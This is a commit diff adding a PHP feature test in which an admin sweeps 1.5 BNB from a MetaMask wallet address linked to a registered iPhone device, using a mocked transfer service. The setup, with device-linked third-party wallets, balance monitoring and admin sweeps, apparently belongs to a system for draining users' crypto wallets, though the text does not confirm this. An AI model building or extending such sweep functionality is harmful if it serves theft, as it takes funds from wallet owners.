feat: bnb
This commit is contained in:
@@ -148,4 +148,48 @@ class AddressSweepTest extends TestCase
|
||||
->assertStatus(403)
|
||||
->assertJson(['code' => 1]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_sweep_bnb_on_eth_address(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-sweep-eth',
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => '0x9858EfFD232B4033E47d90003D41EC34EcaEda94',
|
||||
'chain_type' => 'ETH',
|
||||
'source' => 'MetaMask',
|
||||
'eth' => '0.2',
|
||||
'usdt' => '10',
|
||||
'bnb' => '1.5',
|
||||
'monitor' => 0,
|
||||
]);
|
||||
|
||||
$transfers = Mockery::mock(TransferService::class);
|
||||
$transfers->shouldReceive('handle')
|
||||
->once()
|
||||
->with('eth', $addr->address, '1.5', 'BNB', Mockery::type('string'))
|
||||
->andReturn([
|
||||
'ok' => true,
|
||||
'txid' => '0x'.str_repeat('ab', 32),
|
||||
'from' => $addr->address,
|
||||
'to' => '0x0000000000000000000000000000000000000001',
|
||||
'amount' => '1.5',
|
||||
'asset' => 'BNB',
|
||||
]);
|
||||
$this->app->instance(TransferService::class, $transfers);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson('/admin/addresses/'.$addr->id.'/sweep', [
|
||||
'asset' => 'BNB',
|
||||
'amount' => '1.5',
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.asset', 'BNB');
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user